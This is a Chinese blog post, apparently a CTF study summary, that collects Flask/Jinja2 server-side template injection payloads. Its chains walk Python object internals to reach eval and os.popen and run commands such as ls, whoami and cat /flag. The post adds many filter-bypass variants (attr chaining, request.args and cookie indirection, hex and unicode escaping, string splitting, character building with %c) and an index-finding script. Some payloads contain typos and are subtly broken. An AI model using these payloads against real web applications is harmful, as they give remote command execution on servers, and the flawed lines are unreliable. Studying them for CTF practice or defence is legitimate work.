ssti注入

flask有个明显的特征就是服务器模板,把用户输入的回显到web页面,

一般在用户交互的地方(输入/输出),

这个要用python去构造链子去执行python命令,来getshell。

一般的注入是get型的

如{{7*7}},{%7*7%},{#7*7#},还有{%print(7*7)%}.

一般的链子

1

().__class__.__base__.__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")

2

"".__class__.__base__.__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")

3

 {{ config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read() }}

4

lipsum.__globals.["os"].popen("").read()

flask里的lipsum方法,可以用于得到builtins,而且lipsum.globals含有os模块

globals 使用方式是 函数名.globals 获取function所处空间下可使用的module、方法以及所有变量。

这个注入就跟sql注入一样有许多的过滤

用之前要fuzz一下,用burp

|attr(”__class__”)   ==     .__class__

[]用getitem绕过

_可以用十六进制编码 \x5F

还可以用unicode编码去绕过

用前两种链子

__subcalsses__()[?]的下标如何来的

{{()['__class__'].__bases__[0]['__subclasses__']()}}

获得内置类

用网上找的脚本把类替换一下,跑一下就可以

import json
classes="""
[<class '_bz2.BZ2Decompressor'>, <class '_collections._deque_iterator'>, <class '_frozen_importlib._installed_safely'>, <class 'instancemethod'>, <class '_json.Encoder'>, <class 'tempfile.TemporaryDirectory'>, <class 'hmac.HMAC'>, <class 'urllib.request.OpenerDirector'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'collections.deque'>, <class 'memoryview'>, <class '_frozen_importlib._ManageReload'>, <class 'subprocess.Popen'>, <class 'click.core.BaseCommand'>, <class 'functools.partial'>, <class 'collections.abc.Container'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class '_pickle.Pickler'>, <class 'numbers.Number'>, <class 'click.parser.ParsingState'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'bytes'>, <class 'datetime.time'>, <class 'ipaddress._BaseV6'>, <class 'sre_parse.SubPattern'>, <class 'itertools.groupby'>, <class 'operator.attrgetter'>, <class 'string.Formatter'>, <class 'werkzeug.local.LocalStack'>, <class 'logging.Formatter'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'email.parser.Parser'>, <class 'tokenize.Untokenizer'>, <class 'dict_itemiterator'>, <class 'itertools.count'>, <class 'collections.abc.Callable'>, <class 'itertools.chain'>, <class 'jinja2.environment.Template'>, <class 'contextlib.suppress'>, <class 'module'>, <class 'inspect._empty'>, <class 'ctypes.LibraryLoader'>, <class 'uuid.UUID'>, <class 'getset_descriptor'>, <class 'itertools._tee_dataobject'>, <class 'reversed'>, <class 'click.parser.OptionParser'>, <class '_frozen_importlib_external._LoaderBasics'>, <class 'list_iterator'>, <class 'frozenset'>, <class 'flask.json.tag.JSONTag'>, <class 'jinja2.runtime.Context'>, <class 'types.SimpleNamespace'>, <class 'email.parser.BytesParser'>, <class 'bytes_iterator'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class '_json.Scanner'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.routing.BaseConverter'>, <class 'inspect._void'>, <class 'inspect.BlockFinder'>, <class 'property'>, <class '_thread._localdummy'>, <class 'managedbuffer'>, <class '_thread.RLock'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'itsdangerous.serializer.Serializer'>, <class 'Struct'>, <class 'staticmethod'>, <class 'jinja2.environment.TemplateStream'>, <class 'click.core.Context'>, <class 'flask.cli.ScriptInfo'>, <class 'CArgObject'>, <class 'email.header.Header'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'types.DynamicClassAttribute'>, <class 'itertools._grouper'>, <class 'codecs.Codec'>, <class 'operator.itemgetter'>, <class 'sre_parse.Pattern'>, <class 'longrange_iterator'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'click.types.ParamType'>, <class 'zlib.Compress'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'textwrap.TextWrapper'>, <class 'dict_valueiterator'>, <class 'socketserver.ForkingMixIn'>, <class 'types._GeneratorWrapper'>, <class 'frame'>, <class 'pprint.PrettyPrinter'>, <class 'calendar._localized_day'>, <class 'socketserver.BaseRequestHandler'>, <class 'itsdangerous.signer.Signer'>, <class 'str'>, <class '_ssl.MemoryBIO'>, <class 'moduledef'>, <class 'wrapper_descriptor'>, <class 'selectors.BaseSelector'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'tempfile._TemporaryFileCloser'>, <class '_io._BytesIOBuffer'>, <class 'mappingproxy'>, <class 'enumerate'>, <class 'contextlib.ContextDecorator'>, <class 'jinja2.runtime.Macro'>, <class 'iterator'>, <class 'email.message.Message'>, <class 'list'>, <class 'set'>, <class 'jinja2.lexer.TokenStream'>, <class 'click.parser.Argument'>, <class 'NotImplementedType'>, <class 'warnings.catch_warnings'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'zipimport.zipimporter'>, <class 'copy._EmptyClass'>, <class 'dict_values'>, <class 'argparse._AttributeHolder'>, <class 'odict_iterator'>, <class 'tarfile._Stream'>, <class '_sre.SRE_Scanner'>, <class 'threading.Event'>, <class 'werkzeug.datastructures.Range'>, <class '_sitebuiltins.Quitter'>, <class 'BaseException'>, <class 'callable_iterator'>, <class '_lzma.LZMACompressor'>, <class '_thread.lock'>, <class 'range_iterator'>, <class 'threading.Barrier'>, <class 'click.utils.LazyFile'>, <class '_pickle.Unpickler'>, <class 'collections.abc.Sized'>, <class 'pkgutil.ImpLoader'>, <class 'builtin_function_or_method'>, <class 'ipaddress._IPv6Constants'>, <class 'codecs.IncrementalDecoder'>, <class 'pathlib._Selector'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'zip'>, <class 'tarfile.TarIter'>, <class '_ctypes._CData'>, <class 'click.parser.Option'>, <class 'inspect.BoundArguments'>, <class 'calendar.different_locale'>, <class 'jinja2.ext._CommentFinder'>, <class 'email.header._ValueFormatter'>, <class 'click.formatting.HelpFormatter'>, <class 'ssl.SSLObject'>, <class 'threading.Thread'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'dict_keyiterator'>, <class 'itertools.permutations'>, <class 'tuple'>, <class 'argparse.HelpFormatter'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itertools.islice'>, <class 'threading._RLock'>, <class 'logging.Filter'>, <class '_ast.AST'>, <class 'calendar._localized_month'>, <class 'urllib.request.Request'>, <class 'jinja2.environment.Environment'>, <class 'email._policybase._PolicyBase'>, <class 'decimal.SignalDictMixin'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'email._parseaddr.AddrlistClass'>, <class 'jinja2.utils.LRUCache'>, <class 'argparse.HelpFormatter._Section'>, <class 'traceback.FrameSummary'>, <class 'posix.ScandirIterator'>, <class 'itertools.accumulate'>, <class 'email.feedparser.FeedParser'>, <class 'urllib.request.BaseHandler'>, <class 'logging.LoggerAdapter'>, <class 'tuple_iterator'>, <class 'flask.signals.Namespace'>, <class 'super'>, <class 'http.client.HTTPConnection'>, <class 'reprlib.Repr'>, <class 'functools._lru_cache_wrapper'>, <class 'difflib.HtmlDiff'>, <class 'collections.abc.Hashable'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'dict_items'>, <class 'ast.NodeVisitor'>, <class '_ctypes.DictRemover'>, <class 'contextlib.closing'>, <class 'calendar.Calendar'>, <class 'weakcallableproxy'>, <class '_sre.SRE_Match'>, <class 'itertools.combinations_with_replacement'>, <class 'unicodedata.UCD'>, <class 'jinja2.compiler.MacroRef'>, <class 'werkzeug.test.Client'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_sitebuiltins._Printer'>, <class '_frozen_importlib._ImportLockContext'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'abc.ABC'>, <class 'stderrprinter'>, <class 'threading.Semaphore'>, <class 'http.cookiejar.CookieJar'>, <class 'str_iterator'>, <class 'jinja2.bccache.Bucket'>, <class 'click._compat._FixupStream'>, <class 'select.poll'>, <class 'http.cookiejar.CookiePolicy'>, <class 'datetime.date'>, <class '_thread._local'>, <class 'tarfile._FileInFile'>, <class 'jinja2.utils.Cycler'>, <class 'map'>, <class 'email.charset.Charset'>, <class '_frozen_importlib_external.FileFinder'>, <class 'jinja2.utils.Joiner'>, <class 'warnings.WarningMessage'>, <class 'ipaddress._BaseV4'>, <class 'zlib.Decompress'>, <class 'coroutine_wrapper'>, <class 'formatteriterator'>, <class 'flask.cli.DispatchingApp'>, <class 'weakref.finalize._Info'>, <class 'dict'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <enum 'Enum'>, <class 'os._DummyDirEntry'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'itertools.takewhile'>, <class 'sre_parse.Tokenizer'>, <class 'codecs.IncrementalEncoder'>, <class '_frozen_importlib.FrozenImporter'>, <class 'werkzeug.routing.MapAdapter'>, <class 'importlib.abc.Loader'>, <class 'difflib.Differ'>, <class 'jinja2.runtime.BlockReference'>, <class 'werkzeug.routing.Map'>, <class '_frozen_importlib._ModuleLockManager'>, <class 'set_iterator'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.Node'>, <class 'http.cookiejar.Absent'>, <class 'jinja2.ext.Extension'>, <class 'json.decoder.JSONDecoder'>, <class '_io.IncrementalNewlineDecoder'>, <class 'slice'>, <class 'itertools.filterfalse'>, <class 'dict_keys'>, <class 'werkzeug.routing.RuleFactory'>, <class 'email.feedparser.BufferedSubFile'>, <class 'logging.Manager'>, <class 'float'>, <class '_sre.SRE_Pattern'>, <class 'werkzeug.datastructures.IfRange'>, <class 're.Scanner'>, <class 'tempfile._RandomNameSequence'>, <class 'flask.ctx.RequestContext'>, <class 'collections.abc.Iterable'>, <class 'flask.ctx.AppContext'>, <class 'codecs.StreamRecoder'>, <class 'collections.abc.AsyncIterable'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'select.epoll'>, <class '_frozen_importlib_external._NamespacePath'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'logging.PlaceHolder'>, <class 'os._wrap_close'>, <class 'traceback'>, <class 'range'>, <class '_frozen_importlib._DummyModuleLock'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.idtracking.Symbols'>, <class 'mimetypes.MimeTypes'>, <class 'werkzeug.datastructures.FileStorage'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'logging.PercentStyle'>, <class 'member_descriptor'>, <class '_bz2.BZ2Compressor'>, <class 'gettext.NullTranslations'>, <class 'jinja2.loaders.BaseLoader'>, <class '_ctypes.CField'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'itertools.dropwhile'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'click._compat._AtomicFile'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class 'bytearray_iterator'>, <class 'werkzeug.useragents.UserAgent'>, <class 'decimal.Context'>, <class 'tarfile._LowLevelFile'>, <class '_random.Random'>, <class 'werkzeug.datastructures.Headers'>, <class 'pathlib._Accessor'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'http.cookiejar.Cookie'>, <class 'int'>, <class 'method'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'logging.LogRecord'>, <class 'flask.helpers.locked_cached_property'>, <class 'complex'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'ellipsis'>, <class 'dis.Bytecode'>, <class 'logging.BufferingFormatter'>, <class 'itertools.zip_longest'>, <class 'classmethod'>, <class '_hashlib.HASH'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'contextlib._RedirectStream'>, <class '_lzma.LZMADecompressor'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.local.LocalManager'>, <class 'json.encoder.JSONEncoder'>, <class '_weakrefset._IterationGuard'>, <class 'click.core.Parameter'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class '_pickle.Pdata'>, <class 'itsdangerous._json._CompactJSON'>, <class 'tarfile.TarInfo'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class '_ssl._SSLContext'>, <class '_io._IOBase'>, <class 'itertools.starmap'>, <class '_collections._deque_reverse_iterator'>, <class 'difflib.SequenceMatcher'>, <class 'PyCapsule'>, <class 'pickle._Unpickler'>, <class 'method-wrapper'>, <class 'werkzeug.local.Local'>, <class 'jinja2.lexer.Failure'>, <class '_pickle.PicklerMemoProxy'>, <class 'traceback.TracebackException'>, <class 'importlib.abc.Finder'>, <class 'jinja2.runtime.LoopContext'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'codecs.StreamReaderWriter'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'argparse._ActionsContainer'>, <class 'itertools.cycle'>, <class '_weakrefset.WeakSet'>, <class 'code'>, <class 'werkzeug.urls.Href'>, <class 'jinja2.environment.TemplateModule'>, <class 'bytearray'>, <class 'argparse.FileType'>, <class 'decimal.Decimal'>, <class 'filter'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.local.LocalProxy'>, <class 'classmethod_descriptor'>, <class 'urllib.parse._ResultMixinStr'>, <class 'itertools.combinations'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class '_socket.socket'>, <class 'pathlib.PurePath'>, <class '_frozen_importlib_external.FileLoader'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'weakref.finalize'>, <class '_ctypes.CThunkObject'>, <class 'type'>, <class 'cell'>, <class 'flask.helpers._PackageBoundObject'>, <class 'weakproxy'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'inspect.Signature'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'itertools.repeat'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'EncodingMap'>, <class 'jinja2.environment.TemplateExpression'>, <class 'flask.signals._FakeSignal'>, <class 'werkzeug.exceptions.Aborter'>, <class 'socketserver.ThreadingMixIn'>, <class 'logging.Filterer'>, <class 'werkzeug.serving._SSLContext'>, <class 'jinja2.lexer.Lexer'>, <class 'decimal.ContextManager'>, <class 'datetime.timedelta'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'posix.DirEntry'>, <class '_sitebuiltins._Helper'>, <class 'contextlib.ExitStack'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug._internal._Missing'>, <class 'urllib.request.URLopener'>, <class '_ssl._SSLSocket'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'threading.Condition'>, <class 'jinja2.parser.Parser'>, <class 'itertools.compress'>, <class 'tarfile.TarFile'>, <class 'jinja2.runtime.TemplateReference'>, <class 'fieldnameiterator'>, <class 'jinja2.nodes.EvalContext'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'socketserver.BaseServer'>, <class 'pathlib._Flavour'>, <class 'pickle._Unframer'>, <class 'pickle._Framer'>, <class 'ctypes.CDLL'>, <class 'datetime.tzinfo'>, <class 'generator'>, <class 'werkzeug.test._TestCookieHeaders'>, <class '_frozen_importlib.ModuleSpec'>, <class 'pathlib._TerminatingSelector'>, <class 'functools.partialmethod'>, <class 'itertools._tee'>, <class 'tarfile._StreamProxy'>, <class 'coroutine'>, <class 'pprint._safe_key'>, <class 'operator.methodcaller'>, <class 'pickle._Pickler'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'ipaddress._IPv4Constants'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class '__future__._Feature'>, <class '_frozen_importlib._ModuleLock'>, <class 'method_descriptor'>, <class 'jinja2.utils.MissingType'>, <class 'itertools.product'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'flask.config.ConfigAttribute'>, <class 'ipaddress._IPAddressBase'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'collections._Link'>, <class 'NoneType'>, <class 'function'>, <class 'click.utils.KeepOpenFile'>, <class 'inspect.Parameter'>, <class 'weakref'>, <class 'collections.abc.Awaitable'>, <class 'pkgutil.ImpImporter'>, <class '_frozen_importlib_external.PathFinder'>, <class 'string.Template'>, <class 'subprocess.CompletedProcess'>, <class 'jinja2.runtime.Undefined'>, <class 'list_reverseiterator'>]
"""
num=0
alllist=[]
result=""
for i in classes:
    if i==">":
        result+=i
        alllist.append(result)
        result=""
    elif i=="\n" or i==",":
        continue
    else:
        result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
    if "warnings.catch_warnings" in v:
        print(str(k)+"--->"+v)
 

解释: 这个下标对应的内置类要是可以执行

也就是找到warnings.catch_warnings的下标,这个类有个eval内置方法就可以执行命令

具体的绕过参考这个

1

过滤 [ ] ' " _

().__class__.__bases__[0].__subclasses__.[166].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat%20flag.txt').read()"),注意pop(0)代表[0]

|attr(request.arg.cla)绕过.__class__

{{(((()|attr(request.args.cla)|attr(request.args.bas)|list).pop(0))|attr(request.args.sub)()).pop(166)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.geti)(request.args.bui)|attr(request.args.geti)(request.args.ii)(request.args.hh)}}&cla=__class__&bas=__bases__&sub=__subclasses__&ini=__init__&glo=__globals__&bui=__builtins__&hh=__import__('os').popen('ls').read()&ii=eval&geti=__getitem__

2过滤了

'  .  _ class base subclasses request

可以用[]去代替.

py链就为

""["__class__"]["__bases__"][0]["__subclasses__"]()[166]["__init__"]["__globals__"]["__builtins__"]["eval"]("__import__('os').popen("ls /").read()")

再用16进制编码

eval("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29")
which means
eval("__import__('os').popen('ls').read()")

{{""["\x5F\x5Fc"~"lass"~"\x5F\x5F"]["\x5F\x5Fb"~"ases"~"\x5F\x5F"][0]["\x5F\x5Fsubc"~"lasses"~"\x5F\x5F"]()[166]["\x5F\x5Fi"~"nit"~"\x5F\x5F"]["\x5F\x5Fg"~"lobals"~"\x5F\x5F"]["\x5F\x5Fbuiltins\x5F\x5F"]["eval"]("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x77\x6f\x5f\x74\x61\x5f\x6e\x69\x61\x6e\x67\x5f\x64\x65\x5f\x62\x75\x5f\x73\x68\x69\x5f\x6e\x69\x5f\x64\x65\x5f\x66\x6c\x61\x39\x27\x29\x2e\x72\x65\x61\x64\x28\x29")}}

3

%1d,%1e,%1e,%20,%1f,',*,+, , ,.,<,=,>,_,g,[,],\x,""连续会被过滤 ,{{连续会被过滤 ,request,session,set,for,config,if,slice,会被过滤

{%print(123)%}

可以显示

于是py链

print(().__class__.__base__.__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"))

去绕过

print(((((((((()|attr("__class__"))|attr("__base__"))|attr("__subclasses__"))()|attr(140))|attr("__init__"))|attr("__globals__")))|attr("get")("__builtins__"))|attr("get")("eval")("__import__('os').popen('ls').read()"))

['__builtins__']
应当是
|attr("get")("__builtins__")
而不仅仅是|attr("__builtins__")
["eval"]同理

__不能用十六进制只能用unicode去编码

print(((((((((()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"))|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"))|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"))()|attr(140))|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"))|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")))|attr("\u0067\u0065\u0074")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("\u0065\u0076\u0061\u006c")("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u006c\u0073\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029"))

4

过滤了
class
ge
tattr
builtins
import
os

{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()}}发现子类,用上面脚本找出下标

{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()[117].__init__.__globals__['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}}

构造py链

替换popen即可

5

有的可以用

{%7*7%}来显示

过滤了很多

就可以用

{% set zero = (self|int) %}{% set one = (zero*zero)|int %} {% set two = (zero-one-one)|abs %}{% set four = (twotwo)|int %}{% set five = (twotwotwo)-one-one-one %}{% set three = five-one-one %}{% set nine = (twotwotwo*two-five-one-one) %}{% set seven = (zero-one-one-five)|abs %}{% set space = self|string|min %}{% set point = self|float|string|min %} {% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc = bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %} {% set left = bfhc%((four~zero)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %} {% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %} {% set sl = dict(l=aa,s=dd)|join %} {% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set pa = dict(ap=aa,p=dd)|join %} {% set yp = dict(p=aa,y=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %} {% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %} {% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~sl~space~slas~yin~right~point~red~left~right %}{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %} {% for a,b in (v|attr(itm))() %}{% if a == ev %}{%print(b(pld))%}{% endif %}{% endfor %}{% endif %}{% endfor %}

这个的解释是,先构造所用数字,字母,把空格删掉,只用上面去替换pld的popen里的内容就可以

# 首先构造出所需的数字:

{% set zero = (self|int) %}    # 0, 也可以使用lenght过滤器获取数字
{% set one = (zero**zero)|int %}    # 1
{% set two = (zero-one-one)|abs %}    # 2
{% set four = (two*two)|int %}    # 4
{% set five = (two*two*two)-one-one-one %}    # 5
{% set three = five-one-one %}    # 3
{% set nine = (two*two*two*two-five-one-one) %}    # 9
{% set seven = (zero-one-one-five)|abs %}    # 7

# 构造出所需的各种字符与字符串:

{% set space = self|string|min %}    # 空格
{% set point = self|float|string|min %}    # .

{% set c = dict(c=aa)|reverse|first %}    # 字符 c
{% set bfh = self|string|urlencode|first %}    # 百分号 %
{% set bfhc = bfh~c %}    # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %}    # 使用%c构造斜杠 /
{% set yin = bfhc%((three~nine)|int) %}    # 使用%c构造引号 '
{% set xhx = bfhc%((nine~five)|int) %}    # 使用%c构造下划线 _
{% set right = bfhc%((four~one)|int) %}    # 使用%c构造右括号 )
{% set left = bfhc%((four~zero)|int) %}    # 使用%c构造左括号 (

{% set but = dict(buil=aa,tins=dd)|join %}    # builtins
{% set imp = dict(imp=aa,ort=dd)|join %}    # import
{% set pon = dict(po=aa,pen=dd)|join %}    # popen
{% set so = dict(o=aa,s=dd)|join %}    # os
{% set sl = dict(l=aa,s=dd)|join %}    # ls
{% set ca = dict(ca=aa,t=dd)|join %}    # cat
{% set flg = dict(fl=aa,ag=dd)|join %}    # flag
{% set pa = dict(ap=aa,p=dd)|join %}    # app
{% set yp = dict(p=aa,y=dd)|join %}    # py
{% set ev = dict(ev=aa,al=dd)|join %}    # eval
{% set red = dict(re=aa,ad=dd)|join %}    # read
{% set bul = xhx~xhx~but~xhx~xhx %}    # __builtins__

{% set ini = dict(ini=aa,t=bb)|join %}    # init
{% set glo = dict(glo=aa,bals=bb)|join %}    # globals
{% set itm = dict(ite=aa,ms=bb)|join %}    # items

# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read():

{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}

# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了:

{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}    # globals
    {% if f == bul %}
        {% for a,b in (v|attr(itm))() %}    # builtins
            {% if a == ev %}    # eval
                {%print(b(pld))%}    # eval("__import__('os').popen('cat /flag').read()")
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

6

什么都没过滤

{{ config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read() }}

直接执行就可以

6.

过滤 ' " _ os

?name={{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}}

cookie赋值

c=dict;d=_TemplateReferencecontext;e=lipsum;f=globals;g=builtins__;z=/flag

popen才可以执行命令这个是open读取文件的

从[2020安洵杯]赛后以及近期遇到的SSTI总结 – yyz の blog

  • 18
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值